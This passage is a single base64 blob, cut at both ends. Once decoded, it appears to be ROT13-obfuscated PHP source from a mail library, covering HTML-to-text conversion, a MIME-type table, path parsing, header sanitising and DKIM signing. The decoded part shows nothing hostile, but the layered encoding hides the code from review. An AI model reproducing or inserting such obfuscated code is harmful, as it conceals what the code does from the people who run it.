BuYSBVR1pZIGZnZXZhdCB2YWdiIGN5bnZhIGdya2cuCiAgICAgKiBHdXZmIHZmIGhmcnEgb2wgemZ0VUdaWSgpLgogICAgICogQWJnciAtIGJ5cXJlIGlyZWZ2YmFmIGJzIGd1dmYgc2hhcGd2YmEgaGZycSBuIG9oYXF5cnEgbnFpbmFwcnEgcGJhaXJlZ3JlCiAgICAgKiBqdXZwdSBqbmYgb3JyYSBlcnpiaXJxIHNiZSB5dnByYWZyIGVybmZiYWYgdmEgIzIzMi4KICAgICAqIFJrbnpjeXIgaGZudHI6CiAgICAgKiA8cGJxcj4KICAgICAqIC8vIEhmciBxcnNuaHlnIHBiYWlyZWZ2YmEKICAgICAqICRjeW52YSA9ICR6bnZ5LT51Z3p5Mmdya2coJHVnenkpOwogICAgICogLy8gSGZyIGxiaGUgYmphIHBoZmdieiBwYmFpcmVncmUKICAgICAqICRjeW52YSA9ICR6bnZ5LT51Z3p5Mmdya2coJHVnenksIHNoYXBndmJhKCR1Z3p5KSB7CiAgICAgKiAgICAgJHBiYWlyZWdyZSA9IGFyaiBabFVnenkyZ3JrZygkdWd6eSk7CiAgICAgKiAgICAgZXJnaGVhICRwYmFpcmVncmUtPnRyZ19ncmtnKCk7CiAgICAgKiB9KTsKICAgICAqIDwvcGJxcj4KICAgICAqIEBjbmVueiBmZ2V2YXQgJHVnenkgR3VyIFVHWlkgZ3JrZyBnYiBwYmFpcmVnCiAgICAgKiBAY25lbnogb2JieXJuYXxwbnl5bm95ciAkbnFpbmFwcnEgTmFsIG9iYnlybmEgaW55aHIgZ2IgaGZyIGd1ciB2YWdyZWFueSBwYmFpcmVncmUsCiAgICAgKiAgIGJlIGNlYml2cXIgbGJoZSBiamEgcG55eW5veXIgc2JlIHBoZmdieiBwYmFpcmVmdmJhLgogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHVnenkyZ3JrZygkdWd6eSwgJG5xaW5hcHJxID0gc255ZnIpCiAgICB7CiAgICAgICAgdnMgKHZmX3BueXlub3lyKCRucWluYXBycSkpIHsKICAgICAgICAgICAgZXJnaGVhIHBueXlfaGZyZV9zaGFwKCRucWluYXBycSwgJHVnenkpOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgdWd6eV9yYWd2Z2xfcXJwYnFyKAogICAgICAgICAgICBnZXZ6KGZnZXZjX2dudGYoY2VydF9lcmN5bnByKCcvPCh1cm5xfGd2Z3lyfGZnbHlyfGZwZXZjZylbXj5dKj4uKj88XC9cXDE+L2Z2JywgJycsICR1Z3p5KSkpLAogICAgICAgICAgICBSQUdfREhCR1JGLAogICAgICAgICAgICAkZ3V2Zi0+UHVuZUZyZwogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBUcmcgZ3VyIFpWWlIgZ2xjciBzYmUgbiBzdnlyIHJrZ3JhZnZiYS4KICAgICAqIEBjbmVueiBmZ2V2YXQgJHJrZyBTdnlyIHJrZ3JhZnZiYQogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgZmdldmF0IFpWWlIgZ2xjciBicyBzdnlyLgogICAgICogQGZnbmd2cAogICAgICovCiAgICBjaG95dnAgZmduZ3ZwIHNoYXBndmJhIF96dnpyX2dsY3JmKCRya2cgPSAnJykKICAgIHsKICAgICAgICAkenZ6cmYgPSBuZWVubCgKICAgICAgICAgICAgJ2t5JyAgICA9PiAnbmNjeXZwbmd2YmEvcmtwcnknLAogICAgICAgICAgICAnd2YnICAgID0+ICduY2N5dnBuZ3ZiYS93bmluZnBldmNnJywKICAgICAgICAgICAgJ3VkaycgICA9PiAnbmNjeXZwbmd2YmEvem5wLW92YXVyazQwJywKICAgICAgICAgICAgJ3BjZycgICA9PiAnbmNjeXZwbmd2YmEvem5wLXBiemNucGdjZWInLAogICAgICAgICAgICAnb3ZhJyAgID0+ICduY2N5dnBuZ3ZiYS96bnBvdmFuZWwnLAogICAgICAgICAgICAncWJwJyAgID0+ICduY2N5dnBuZ3ZiYS96ZmpiZXEnLAogICAgICAgICAgICAnamJlcScgID0+ICduY2N5dnBuZ3ZiYS96ZmpiZXEnLAogICAgICAgICAgICAna3lmaycgID0+ICduY2N5dnBuZ3ZiYS9pYXEuYmNyYWt6eXNiZXpuZ2YtYnNzdnBycWJwaHpyYWcuZmNlcm5xZnVycmd6eS5mdXJyZycsCiAgICAgICAgICAgICdreWdrJyAgPT4gJ25jY3l2cG5ndmJhL2lhcS5iY3Jha3p5c2Jlem5nZi1ic3N2cHJxYnBoenJhZy5mY2VybnFmdXJyZ3p5LmdyemN5bmdyJywKICAgICAgICAgICAgJ2NiZ2snICA9PiAnbmNjeXZwbmd2YmEvaWFxLmJjcmFrenlzYmV6bmdmLWJzc3ZwcnFicGh6cmFnLmNlcmZyYWduZ3ZiYXp5LmdyemN5bmdyJywKICAgICAgICAgICAgJ2NjZmsnICA9PiAnbmNjeXZwbmd2YmEvaWFxLmJjcmFrenlzYmV6bmdmLWJzc3ZwcnFicGh6cmFnLmNlcmZyYWduZ3ZiYXp5LmZ5dnFyZnViaicsCiAgICAgICAgICAgICdjY2drJyAgPT4gJ25jY3l2cG5ndmJhL2lhcS5iY3Jha3p5c2Jlem5nZi1ic3N2cHJxYnBoenJhZy5jZXJmcmFnbmd2YmF6eS5jZXJmcmFnbmd2YmEnLAogICAgICAgICAgICAnZnlxaycgID0+ICduY2N5dnBuZ3ZiYS9pYXEuYmNyYWt6eXNiZXpuZ2YtYnNzdnBycWJwaHpyYWcuY2VyZnJhZ25ndmJhenkuZnl2cXInLAogICAgICAgICAgICAncWJwaycgID0+ICduY2N5dnBuZ3ZiYS9pYXEuYmNyYWt6eXNiZXpuZ2YtYnNzdnBycWJwaHpyYWcuamJlcWNlYnByZmZ2YXR6eS5xYnBoenJhZycsCiAgICAgICAgICAgICdxYmdrJyAgPT4gJ25jY3l2cG5ndmJhL2lhcS5iY3Jha3p5c2Jlem5nZi1ic3N2cHJxYnBoenJhZy5qYmVxY2VicHJmZnZhdHp5LmdyemN5bmdyJywKICAgICAgICAgICAgJ2t5bnonICA9PiAnbmNjeXZwbmd2YmEvaWFxLnpmLXJrcHJ5Lm5xcXZhLnpucGViUmFub3lycS4xMicsCiAgICAgICAgICAgICdreWZvJyAgPT4gJ25jY3l2cG5ndmJhL2lhcS56Zi1ya3ByeS5mdXJyZy5vdmFuZWwuem5wZWJSYW5veXJxLjEyJywKICAgICAgICAgICAgJ3B5bmZmJyA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ3F5eScgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ3F6ZicgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ3JrcicgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ3l1bicgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ3ltdScgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ2NmcScgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ2ZybicgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ2ZiJyAgICA9PiAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JywKICAgICAgICAgICAgJ2JxbicgICA9PiAnbmNjeXZwbmd2YmEvYnFuJywKICAgICAgICAgICAgJ2NxcycgICA9PiAnbmNjeXZwbmd2YmEvY3FzJywKICAgICAgICAgICAgJ252JyAgICA9PiAnbmNjeXZwbmd2YmEvY2JmZ2ZwZXZjZycsCiAgICAgICAgICAgICdyY2YnICAgPT4gJ25jY3l2cG5ndmJhL2NiZmdmcGV2Y2cnLAogICAgICAgICAgICAnY2YnICAgID0+ICduY2N5dnBuZ3ZiYS9jYmZnZnBldmNnJywKICAgICAgICAgICAgJ2Z6dicgICA9PiAnbmNjeXZwbmd2YmEvZnp2eScsCiAgICAgICAgICAgICdmenZ5JyAgPT4gJ25jY3l2cG5ndmJhL2Z6dnknLAogICAgICAgICAgICAnenZzJyAgID0+ICduY2N5dnBuZ3ZiYS9pYXEuenZzJywKICAgICAgICAgICAgJ2t5ZicgICA9PiAnbmNjeXZwbmd2YmEvaWFxLnpmLXJrcHJ5JywKICAgICAgICAgICAgJ2NjZycgICA9PiAnbmNjeXZwbmd2YmEvaWFxLnpmLWNianJlY2J2YWcnLAogICAgICAgICAgICAnam9renknID0+ICduY2N5dnBuZ3ZiYS9pYXEuam5jLmpva3p5JywKICAgICAgICAgICAgJ2p6eXAnICA9PiAnbmNjeXZwbmd2YmEvaWFxLmpuYy5qenlwJywKICAgICAgICAgICAgJ3FwZScgICA9PiAnbmNjeXZwbmd2YmEvay1xdmVycGdiZScsCiAgICAgICAgICAgICdxdmUnICAgPT4gJ25jY3l2cG5ndmJhL2stcXZlcnBnYmUnLAogICAgICAgICAgICAncWtlJyAgID0+ICduY2N5dnBuZ3ZiYS9rLXF2ZXJwZ2JlJywKICAgICAgICAgICAgJ3FpdicgICA9PiAnbmNjeXZwbmd2YmEvay1xaXYnLAogICAgICAgICAgICAndGduZScgID0+ICduY2N5dnBuZ3ZiYS9rLXRnbmUnLAogICAgICAgICAgICAnY3VjMycgID0+ICduY2N5dnBuZ3ZiYS9rLXVnZ2NxLWN1YycsCiAgICAgICAgICAgICdjdWM0JyAgPT4gJ25jY3l2cG5ndmJhL2stdWdnY3EtY3VjJywKICAgICAgICAgICAgJ2N1YycgICA9PiAnbmNjeXZwbmd2YmEvay11Z2djcS1jdWMnLAogICAgICAgICAgICAnY3VnenknID0+ICduY2N5dnBuZ3ZiYS9rLXVnZ2NxLWN1YycsCiAgICAgICAgICAgICdjdWNmJyAgPT4gJ25jY3l2cG5ndmJhL2stdWdnY3EtY3VjLWZiaGVwcicsCiAgICAgICAgICAgICdmanMnICAgPT4gJ25jY3l2cG5ndmJhL2stZnVicHhqbmlyLXN5bmZ1JywKICAgICAgICAgICAgJ2Z2ZycgICA9PiAnbmNjeXZwbmd2YmEvay1mZ2hzc3ZnJywKICAgICAgICAgICAgJ2duZScgICA9PiAnbmNjeXZwbmd2YmEvay1nbmUnLAogICAgICAgICAgICAnZ3RtJyAgID0+ICduY2N5dnBuZ3ZiYS9rLWduZScsCiAgICAgICAgICAgICdrdWcnICAgPT4gJ25jY3l2cG5ndmJhL2t1Z3p5K2t6eScsCiAgICAgICAgICAgICdrdWd6eScgPT4gJ25jY3l2cG5ndmJhL2t1Z3p5K2t6eScsCiAgICAgICAgICAgICdtdmMnICAgPT4gJ25jY3l2cG5ndmJhL212YycsCiAgICAgICAgICAgICd6dnEnICAgPT4gJ25ocXZiL3p2cXYnLAogICAgICAgICAgICAnenZxdicgID0+ICduaHF2Yi96dnF2JywKICAgICAgICAgICAgJ3pjMicgICA9PiAnbmhxdmIvemNydCcsCiAgICAgICAgICAgICd6YzMnICAgPT4gJ25ocXZiL3pjcnQnLAogICAgICAgICAgICAnemN0bicgID0+ICduaHF2Yi96Y3J0JywKICAgICAgICAgICAgJ252cycgICA9PiAnbmhxdmIvay1udnNzJywKICAgICAgICAgICAgJ252c3AnICA9PiAnbmhxdmIvay1udnNzJywKICAgICAgICAgICAgJ252c3MnICA9PiAnbmhxdmIvay1udnNzJywKICAgICAgICAgICAgJ2VueicgICA9PiAnbmhxdmIvay1jYS1lcm55bmhxdmInLAogICAgICAgICAgICAnZXonICAgID0+ICduaHF2Yi9rLWNhLWVybnluaHF2YicsCiAgICAgICAgICAgICdlY3onICAgPT4gJ25ocXZiL2stY2EtZXJueW5ocXZiLWN5aHR2YScsCiAgICAgICAgICAgICdlbicgICAgPT4gJ25ocXZiL2stZXJueW5ocXZiJywKICAgICAgICAgICAgJ2puaScgICA9PiAnbmhxdmIvay1qbmknLAogICAgICAgICAgICAnb3pjJyAgID0+ICd2em50ci9vemMnLAogICAgICAgICAgICAndHZzJyAgID0+ICd2em50ci90dnMnLAogICAgICAgICAgICAnd2NydCcgID0+ICd2em50ci93Y3J0JywKICAgICAgICAgICAgJ3djcicgICA9PiAndnpudHIvd2NydCcsCiAgICAgICAgICAgICd3Y3QnICAgPT4gJ3Z6bnRyL3djcnQnLAogICAgICAgICAgICAnY2F0JyAgID0+ICd2em50ci9jYXQnLAogICAgICAgICAgICAnZ3ZzcycgID0+ICd2em50ci9ndnNzJywKICAgICAgICAgICAgJ2d2cycgICA9PiAndnpudHIvZ3ZzcycsCiAgICAgICAgICAgICdyenknICAgPT4gJ3pyZmZudHIvZXNwODIyJywKICAgICAgICAgICAgJ3BmZicgICA9PiAnZ3JrZy9wZmYnLAogICAgICAgICAgICAndWd6eScgID0+ICdncmtnL3VnenknLAogICAgICAgICAgICAndWd6JyAgID0+ICdncmtnL3VnenknLAogICAgICAgICAgICAnZnVnenknID0+ICdncmtnL3VnenknLAogICAgICAgICAgICAneWJ0JyAgID0+ICdncmtnL2N5bnZhJywKICAgICAgICAgICAgJ2dya2cnICA9PiAnZ3JrZy9jeW52YScsCiAgICAgICAgICAgICdna2cnICAgPT4gJ2dya2cvY3ludmEnLAogICAgICAgICAgICAnZWdrJyAgID0+ICdncmtnL2V2cHVncmtnJywKICAgICAgICAgICAgJ2VncycgICA9PiAnZ3JrZy9lZ3MnLAogICAgICAgICAgICAnaXBzJyAgID0+ICdncmtnL2lwbmVxJywKICAgICAgICAgICAgJ2lwbmVxJyA9PiAnZ3JrZy9pcG5lcScsCiAgICAgICAgICAgICdrenknICAgPT4gJ2dya2cva3p5JywKICAgICAgICAgICAgJ2tmeScgICA9PiAnZ3JrZy9renknLAogICAgICAgICAgICAnemNydCcgID0+ICdpdnFyYi96Y3J0JywKICAgICAgICAgICAgJ3pjcicgICA9PiAnaXZxcmIvemNydCcsCiAgICAgICAgICAgICd6Y3QnICAgPT4gJ2l2cXJiL3pjcnQnLAogICAgICAgICAgICAnemJpJyAgID0+ICdpdnFyYi9kaHZweGd2enInLAogICAgICAgICAgICAnZGcnICAgID0+ICdpdnFyYi9kaHZweGd2enInLAogICAgICAgICAgICAnZWknICAgID0+ICdpdnFyYi9pYXEuZWEtZXJueWl2cXJiJywKICAgICAgICAgICAgJ25pdicgICA9PiAnaXZxcmIvay16Zml2cXJiJywKICAgICAgICAgICAgJ3piaXZyJyA9PiAnaXZxcmIvay1mdHYtemJpdnInCiAgICAgICAgKTsKICAgICAgICB2cyAobmVlbmxfeHJsX3JrdmZnZihmZ2VnYnlianJlKCRya2cpLCAkenZ6cmYpKSB7CiAgICAgICAgICAgIGVyZ2hlYSAkenZ6cmZbZmdlZ2J5YmpyZSgkcmtnKV07CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAnbmNjeXZwbmd2YmEvYnBncmctZmdlcm56JzsKICAgIH0KCiAgICAvKioKICAgICAqIFpuYyBuIHN2eXIgYW56ciBnYiBuIFpWWlIgZ2xjci4KICAgICAqIFFyc25oeWdmIGdiICduY2N5dnBuZ3ZiYS9icGdyZy1mZ2VybnonLCB2LnIuLiBuZW92Z2VuZWwgb3ZhbmVsIHFuZ24uCiAgICAgKiBAY25lbnogZmdldmF0ICRzdnlyYW56ciBOIHN2eXIgYW56ciBiZSBzaHl5IGNuZ3UsIHFicmYgYWJnIGFycnEgZ2Igcmt2ZmcgbmYgbiBzdnlyCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICogQGZnbmd2cAogICAgICovCiAgICBjaG95dnAgZmduZ3ZwIHNoYXBndmJhIHN2eXJhbnpyR2JHbGNyKCRzdnlyYW56cikKICAgIHsKICAgICAgICAvLyBWYSBwbmZyIGd1ciBjbmd1IHZmIG4gSEVZLCBmZ2V2YyBuYWwgZGhyZWwgZmdldmF0IG9yc2JlciB0cmdndmF0IHJrZ3JhZnZiYQogICAgICAgICRkY2JmID0gZmdlY2JmKCRzdnlyYW56ciwgJz8nKTsKICAgICAgICB2cyAoc255ZnIgIT09ICRkY2JmKSB7CiAgICAgICAgICAgICRzdnlyYW56ciA9IGZob2ZnZSgkc3Z5cmFuenIsIDAsICRkY2JmKTsKICAgICAgICB9CiAgICAgICAgJGNuZ3V2YXNiID0gZnJ5czo6em9fY25ndXZhc2IoJHN2eXJhbnpyKTsKICAgICAgICBlcmdoZWEgZnJ5czo6X3p2enJfZ2xjcmYoJGNuZ3V2YXNiWydya2dyYWZ2YmEnXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBaaHlndi1vbGdyLWZuc3IgY25ndXZhc2IgZXJjeW5wcnpyYWcuCiAgICAgKiBRZWJjLXZhIGVyY3lucHJ6cmFnIHNiZSBjbmd1dmFzYigpLCBvaGcgemh5Z3ZvbGdyLWZuc3IsIHBlYmZmLWN5bmdzYmV6LWZuc3IsIGJ5cS1pcmVmdmJhLWZuc3IuCiAgICAgKiBKYmV4ZiBmdnp2eW5leWwgZ2IgZ3VyIGJhciB2YSBDVUMgPj0gNS4yLjAKICAgICAqIEB5dmF4IHVnZ2M6Ly9qamouY3VjLmFyZy96bmFobnkvcmEvc2hhcGd2YmEuY25ndXZhc2IuY3VjIzEwNzQ2MQogICAgICogQGNuZW56IGZnZXZhdCAkY25ndSBOIHN2eXJhbnpyIGJlIGNuZ3UsIHFicmYgYWJnIGFycnEgZ2Igcmt2ZmcgbmYgbiBzdnlyCiAgICAgKiBAY25lbnogdmFncnRyZXxmZ2V2YXQgJGJjZ3ZiYWYgUnZndXJlIG4gQ05HVVZBU0JfKiBwYmFmZ25hZywKICAgICAqICAgICAgYmUgbiBmZ2V2YXQgYW56ciBnYiBlcmdoZWEgYmF5bCBndXIgZmNycHZzdnJxIGN2cnByLCBueXliamYgJ3N2eXJhbnpyJyBnYiBqYmV4IGJhIENVQyA8IDUuMgogICAgICogQGVyZ2hlYSBmZ2V2YXR8bmVlbmwKICAgICAqIEBmZ25ndnAKICAgICAqLwogICAgY2hveXZwIGZnbmd2cCBzaGFwZ3ZiYSB6b19jbmd1dmFzYigkY25ndSwgJGJjZ3ZiYWYgPSBhaHl5KQogICAgewogICAgICAgICRlcmcgPSBuZWVubCgncXZlYW56cicgPT4gJycsICdvbmZyYW56cicgPT4gJycsICdya2dyYWZ2YmEnID0+ICcnLCAnc3Z5cmFuenInID0+ICcnKTsKICAgICAgICAkY25ndXZhc2IgPSBuZWVubCgpOwogICAgICAgIHZzIChjZXJ0X3puZ3B1KCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCV2eicsICRjbmd1LCAkY25ndXZhc2IpKSB7CiAgICAgICAgICAgIHZzIChuZWVubF94cmxfcmt2ZmdmKDEsICRjbmd1dmFzYikpIHsKICAgICAgICAgICAgICAgICRlcmdbJ3F2ZWFuenInXSA9ICRjbmd1dmFzYlsxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB2cyAobmVlbmxfeHJsX3JrdmZnZigyLCAkY25ndXZhc2IpKSB7CiAgICAgICAgICAgICAgICAkZXJnWydvbmZyYW56ciddID0gJGNuZ3V2YXNiWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHZzIChuZWVubF94cmxfcmt2ZmdmKDUsICRjbmd1dmFzYikpIHsKICAgICAgICAgICAgICAgICRlcmdbJ3JrZ3JhZnZiYSddID0gJGNuZ3V2YXNiWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHZzIChuZWVubF94cmxfcmt2ZmdmKDMsICRjbmd1dmFzYikpIHsKICAgICAgICAgICAgICAgICRlcmdbJ3N2eXJhbnpyJ10gPSAkY25ndXZhc2JbM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZmp2Z3B1ICgkYmNndmJhZikgewogICAgICAgICAgICBwbmZyIENOR1VWQVNCX1FWRUFOWlI6CiAgICAgICAgICAgIHBuZnIgJ3F2ZWFuenInOgogICAgICAgICAgICAgICAgZXJnaGVhICRlcmdbJ3F2ZWFuenInXTsKICAgICAgICAgICAgcG5mciBDTkdVVkFTQl9PTkZSQU5aUjoKICAgICAgICAgICAgcG5mciAnb25mcmFuenInOgogICAgICAgICAgICAgICAgZXJnaGVhICRlcmdbJ29uZnJhbnpyJ107CiAgICAgICAgICAgIHBuZnIgQ05HVVZBU0JfUktHUkFGVkJBOgogICAgICAgICAgICBwbmZyICdya2dyYWZ2YmEnOgogICAgICAgICAgICAgICAgZXJnaGVhICRlcmdbJ3JrZ3JhZnZiYSddOwogICAgICAgICAgICBwbmZyIENOR1VWQVNCX1NWWVJBTlpSOgogICAgICAgICAgICBwbmZyICdzdnlyYW56cic6CiAgICAgICAgICAgICAgICBlcmdoZWEgJGVyZ1snc3Z5cmFuenInXTsKICAgICAgICAgICAgcXJzbmh5ZzoKICAgICAgICAgICAgICAgIGVyZ2hlYSAkZXJnOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEZyZyBiZSBlcmZyZyB2YWZnbmFwciBjZWJjcmVndnJmLgogICAgICogTGJoIGZ1Ymh5cSBuaWJ2cSBndXZmIHNoYXBndmJhIC0gdmcnZiB6YmVyIGlyZW9iZnIsIHlyZmYgcnNzdnB2cmFnLCB6YmVyIHJlZWJlLWNlYmFyIG5hcQogICAgICogdW5lcXJlIGdiIHFyb2h0IGd1bmEgZnJnZ3ZhdCBjZWJjcmVndnJmIHF2ZXJwZ3lsLgogICAgICogSGZudHIgUmtuemN5cjoKICAgICAqIGAkem52eS0+ZnJnKCdGWkdDRnJwaGVyJywgJ2d5ZicpO2AKICAgICAqICAgdmYgZ3VyIGZuenIgbmY6CiAgICAgKiBgJHpudnktPkZaR0NGcnBoZXIgPSAnZ3lmJztgCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGNuZW56IGZnZXZhdCAkYW56ciBHdXIgY2ViY3JlZ2wgYW56ciBnYiBmcmcKICAgICAqIEBjbmVueiB6dmtycSAkaW55aHIgR3VyIGlueWhyIGdiIGZyZyBndXIgY2ViY3JlZ2wgZ2IKICAgICAqIEBlcmdoZWEgb2JieXJuYQogICAgICogQEdCUUIgRnViaHlxIGd1dmYgYWJnIG9yIGhmdmF0IGd1ciBfX2ZyZygpIHpudHZwIHNoYXBndmJhPwogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgZnJnKCRhbnpyLCAkaW55aHIgPSAnJykKICAgIHsKICAgICAgICB2cyAoY2ViY3JlZ2xfcmt2ZmdmKCRndXZmLCAkYW56cikpIHsKICAgICAgICAgICAgJGd1dmYtPiRhbnpyID0gJGlueWhyOwogICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkZ3V2Zi0+ZnJnUmVlYmUoJGd1dmYtPnluYXQoJ2luZXZub3lyX2ZyZycpIC4gJGFuenIpOwogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRmdldmMgYXJqeXZhcmYgZ2IgY2VyaXJhZyB1cm5xcmUgdmF3cnBndmJhLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBjbmVueiBmZ2V2YXQgJGZnZQogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIGZycGhlclVybnFyZSgkZmdlKQogICAgewogICAgICAgIGVyZ2hlYSBnZXZ6KGZnZV9lcmN5bnByKG5lZW5sKCJcZSIsICJcYSIpLCAnJywgJGZnZSkpOwogICAgfQoKICAgIC8qKgogICAgICogQWJlem55dm1yIHl2YXIgb2VybnhmIHZhIG4gZmdldmF0LgogICAgICogUGJhaXJlZ2YgSEFWSyBZUywgWm5wIFBFIG5hcSBKdmFxYmpmIFBFWVMgeXZhciBvZXJueGYgdmFnYiBuIGZ2YXR5ciB5dmFyIG9lcm54IHNiZXpuZy4KICAgICAqIFFyc25oeWdmIGdiIFBFWVMgKHNiZSB6cmZmbnRyIG9icXZyZikgbmFxIGNlcmZyZWlyZiBwYmFmcnBoZ3ZpciBvZXJueGYuCiAgICAgKiBAY25lbnogZmdldmF0ICRncmtnCiAgICAgKiBAY25lbnogZmdldmF0ICRvZXJueGdsY3IgSnVuZyB4dmFxIGJzIHl2YXIgb2VybnggZ2IgaGZyLCBxcnNuaHlnZiBnYiBQRVlTCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBmZ25ndnAKICAgICAqLwogICAgY2hveXZwIGZnbmd2cCBzaGFwZ3ZiYSBhYmV6bnl2bXJPZXJueGYoJGdya2csICRvZXJueGdsY3IgPSAiXGVcYSIpCiAgICB7CiAgICAgICAgZXJnaGVhIGNlcnRfZXJjeW5wcignLyhcZVxhfFxlfFxhKS96ZicsICRvZXJueGdsY3IsICRncmtnKTsKICAgIH0KCiAgICAvKioKICAgICAqIEZyZyBndXIgY2hveXZwIG5hcSBjZXZpbmdyIHhybCBzdnlyZiBuYXEgY25mZmpiZXEgc2JlIEYvWlZaUiBmdnRhdmF0LgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBjbmVueiBmZ2V2YXQgJHByZWdfc3Z5cmFuenIKICAgICAqIEBjbmVueiBmZ2V2YXQgJHhybF9zdnlyYW56cgogICAgICogQGNuZW56IGZnZXZhdCAkeHJsX2NuZmYgQ25mZmpiZXEgc2JlIGNldmluZ3IgeHJsCiAgICAgKiBAY25lbnogZmdldmF0ICRya2dlbnByZWdmX3N2eXJhbnpyIEJjZ3ZiYW55IGNuZ3UgZ2IgcHVudmEgcHJlZ3ZzdnBuZ3IKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIGZ2dGEoJHByZWdfc3Z5cmFuenIsICR4cmxfc3Z5cmFuenIsICR4cmxfY25mZiwgJHJrZ2VucHJlZ2Zfc3Z5cmFuenIgPSAnJykKICAgIHsKICAgICAgICAkZ3V2Zi0+ZnZ0YV9wcmVnX3N2eXIgPSAkcHJlZ19zdnlyYW56cjsKICAgICAgICAkZ3V2Zi0+ZnZ0YV94cmxfc3Z5ciA9ICR4cmxfc3Z5cmFuenI7CiAgICAgICAgJGd1dmYtPmZ2dGFfeHJsX2NuZmYgPSAkeHJsX2NuZmY7CiAgICAgICAgJGd1dmYtPmZ2dGFfcmtnZW5wcmVnZl9zdnlyID0gJHJrZ2VucHJlZ2Zfc3Z5cmFuenI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEaGJncnEtQ2V2YWdub3lyLXJhcGJxciBuIFFYVlogdXJucXJlLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBjbmVueiBmZ2V2YXQgJGdrZwogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIFFYVlpfREMoJGdrZykKICAgIHsKICAgICAgICAkeXZhciA9ICcnOwogICAgICAgIHNiZSAoJHYgPSAwOyAkdiA8IGZnZXlyYSgkZ2tnKTsgJHYrKykgewogICAgICAgICAgICAkYmVxID0gYmVxKCRna2dbJHZdKTsKICAgICAgICAgICAgdnMgKCgoMGsyMSA8PSAkYmVxKSAmJiAoJGJlcSA8PSAwazNOKSkgfHwgJGJlcSA9PSAwazNQIHx8ICgoMGszUiA8PSAkYmVxKSAmJiAoJGJlcSA8PSAwazdSKSkpIHsKICAgICAgICAgICAgICAgICR5dmFyIC49ICRna2dbJHZdOwogICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgJHl2YXIgLj0gJz0nIC4gZmNldmFncygnJTAySycsICRiZXEpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAkeXZhcjsKICAgIH0KCiAgICAvKioKICAgICAqIFRyYXJlbmdyIG4gUVhWWiBmdnRhbmdoZXIuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGNuZW56IGZnZXZhdCAkZnZ0YVVybnFyZQogICAgICogQGd1ZWJqZiBjdWN6bnZ5cmVSa3ByY2d2YmEKICAgICAqIEBlcmdoZWEgZmdldmF0IEd1ciBRWFZaIGZ2dGFuZ2hlciBpbnlocgogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgUVhWWl9GdnRhKCRmdnRhVXJucXJlKQogICAgewogICAgICAgIHZzICghcXJzdmFycSgnQ1hQRjdfR1JLRycpKSB7CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+cmtwcmNndmJhZikgewogICAgICAgICAgICAgICAgZ3VlYmogYXJqIGN1Y3pudnlyZVJrcHJjZ3ZiYSgkZ3V2Zi0+eW5hdCgncmtncmFmdmJhX3p2ZmZ2YXQnKSAuICdiY3JhZmZ5Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXJnaGVhICcnOwogICAgICAgIH0KICAgICAgICAkY2V2aVhybEZnZSA9ICFyemNnbCgkZ3V2Zi0+UVhWWl9jZXZpbmdyX2ZnZXZhdCkgPyAkZ3V2Zi0+UVhWWl9jZXZpbmdyX2ZnZXZhdCA6IHN2eXJfdHJnX3BiYWdyYWdmKCRndXZmLT5RWFZaX2NldmluZ3IpOwogICAgICAgIHZzICgnJyAhPSAkZ3V2Zi0+UVhWWl9jbmZmY3VlbmZyKSB7CiAgICAgICAgICAgICRjZXZpWHJsID0gYmNyYWZmeV9jeHJsX3RyZ19jZXZpbmdyKCRjZXZpWHJsRmdlLCAkZ3V2Zi0+UVhWWl9jbmZmY3VlbmZyKTsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkY2V